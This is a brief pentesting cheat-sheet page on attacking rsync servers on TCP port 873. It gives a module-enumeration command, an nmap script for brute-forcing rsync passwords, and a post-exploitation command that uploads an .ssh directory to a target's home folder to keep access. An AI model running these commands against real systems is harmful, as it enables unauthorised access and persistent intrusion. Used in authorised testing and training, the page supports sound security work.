Rsync
Pentesting RSync - TCP Ports 873
Theory
Rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across network. By default it run on port TCP 873
Practice
Enumeration
To initiate a connection with an rsync server, use the rsync command followed by the rsync URL.
# The URL format is `[rsync://][user@]host[:port]/module.``
rsync rsync://user@target_host/
Exploiting
Be aware that some shares might be restricted to specific credentials, indicated by an "Access Denied" message. We can try to bruteforce the password using following command.
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
Post-Exploitation
Upload artifacts like modified scripts or binaries to maintain access:
rsync -av home_user/.ssh/ rsync://user@target_host/home_user/.ssh
Resources
Last updated
Was this helpful?